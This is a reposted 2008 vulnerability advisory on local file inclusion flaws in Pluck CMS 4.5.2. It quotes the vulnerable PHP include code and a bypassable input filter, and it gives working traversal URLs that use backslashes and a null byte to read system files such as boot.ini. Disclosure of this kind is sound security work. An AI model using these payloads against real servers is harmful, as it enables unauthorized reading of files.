Pluck CMS 4.5.2 Multiple Local File Inclusion Vulnerabilities

Exploit Code :

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-037

Application: Pluck CMS
Versions Affected: 4.5.2
Vendor URL: http://www.pluck-cms.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 28.07.2008
Vendor Response: 03.08.2008
Solution: YES
Date of Public Advisory: 25.08.2008
Author: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
***********

Pluck CMS has Multiple Local File Include vulnerabilities.

Details
*******

1. Local File Include vulnerabilities found in script
data/inc/themes/predefined_variables.php

Vulnerable GET parameters "blogpost", "cat" and "file".

First discovered by AmnPardaz Security Research Team
[http://www.bugreport.ir/index_48.htm].
Vendor fixed vulnerability in version 4.5.2 by blocking directly access to
this file [http://www.pluck-cms.org/releasenotes.php#4.5.2].
However, attacker still can exploit this vulnerability from index.php
file.

Code [line 15-46]
-----------------
#################################################

//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php",
$_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php",
$_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php",
$_SERVER['SCRIPT_FILENAME']))){
//Give out an "access denied" error
echo "access denied";
//Block all other code
exit();
}

//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");

//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];

if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }

elseif ($album) {
$title = $album; }

elseif (($blogpost) && (file_exists("data/blog/$cat/posts/$blogpost"))) {
include("data/blog/$cat/posts/$blogpost"); }

elseif ((!file_exists("data/content/$filetoread")) && (!$album) &&
(!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }

#################################################

Pluck CMS has security module that checks for hacking attempts and blocks
them.

Code
----
#################################################

//Remote File Inclusion
//Check for strange characters in $_GET keys
//All keys with "/" or ":" are blocked, so it becomes virtually impossible
to inject other pages or websites
foreach ($_GET as $get_key => $get_value) {
if ((ereg("/", $get_value)) || (ereg(":", $get_value))) {
eval("unset(\${$get_key});");
die("A hacking attempt has been detected. For security reasons, we're
blocking any code execution."); }
}

#################################################

This vulnerability can be exploited only on systems that accept backslash
as a path separator.

Example:

http://[server]/[installdir]/index.php?file=..\..\..\..\..\..\..\..\..\..\.
.\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\
..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\.
.\..\..\..\..\..\..\..\boot.ini%00

2. Local File Include vulnerabilities found in script
data/inc/blog_include_react.php

Vulnerable GET parameters "blogpost" and "cat".

Code [line 15-30]
-----------------
#################################################

//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php",
$_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php",
$_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php",
$_SERVER['SCRIPT_FILENAME']))){
//Give out an "access denied" error
echo "access denied";
//Block all other code
exit();
}

//Predefined variable
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];
$pageback = $_GET['pageback'];
list($reactiondir, $extension) = explode(".", $blogpost);

//Include the blogpost
include("data/blog/$cat/posts/$blogpost");

#################################################

Attacker can exploit vulnerability from index.php file.

This vulnerability can be exploited only on systems that accept backslash
as a path separator.

Example:

http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\
..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\.
.\..\..\..\..\..\..\..\boot.ini%00

Solution
********

Vendor fix this flaw on 22.08.2008. New version of Pluck CMS 4.5.3 can be
download here:

http://www.pluck-cms.org/download.php

Release notes:

http://www.pluck-cms.org/releasenotes.php#4.5.3

About
*****

Digital Security is leading IT security company in Russia, providing
information security consulting, audit and penetration testing services,
risk analysis and ISMS-related services and certification for ISO/IEC
27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database
security problems with vulnerability reports, advisories and whitepapers
posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason